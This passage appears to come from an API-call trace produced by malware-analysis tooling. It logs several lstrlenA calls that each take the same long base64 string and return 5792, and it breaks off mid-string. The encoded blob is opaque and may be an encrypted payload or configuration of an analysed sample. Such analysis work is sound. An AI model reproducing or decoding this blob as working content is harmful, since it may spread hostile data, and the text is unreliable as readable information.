(lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNjb1gZ6yF07+ZZeSERDoQN6Min6OEHsgvnBZn5nm/zlHF25KEBv1jctsEsVrZvHgLiwQju5O+quq8e4J9tRYchTmV5d0HesctWSTeZooxBPrwIr67tGGg2e/PYbJfa/f5Ip4yRZXxcG2vPDwXTiEWbaNDa1d12eB504zlqbIz+xD0a5XTLafVPBDk0mh8Gsc9oz4aJK6YMFPHgjiFBBoLB1LvDvAbvXTb84pqqvLePjjbHaNnMiZEHXcH+SwA2uVSQOxmoGAuuTQPsDaK35UKXOFvXe6NnjV/hdlGb7wkqRX9X4UgXF+q5zxOigIM0FtD35TjdrezVItQCkC8LwpLezuFbjZYJpz5J/dudqUe2tj4O2+k1RCySCG1W6t6voNUCYoPaehPZdTIq+Lhmr3AFSWasfhdHLz7mQWkPgozS+vhJH++p6NdnsTxtCabCb3cI9xmOZ9TaorBCq7ZlZZXU2bnS6+lXjUA0diQt4YReV+tP93M1wXPnhe7mB2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBDwwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.810] lstrlenA (lpString="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") returned 5792 [0163.810] lstrlenA (lpString="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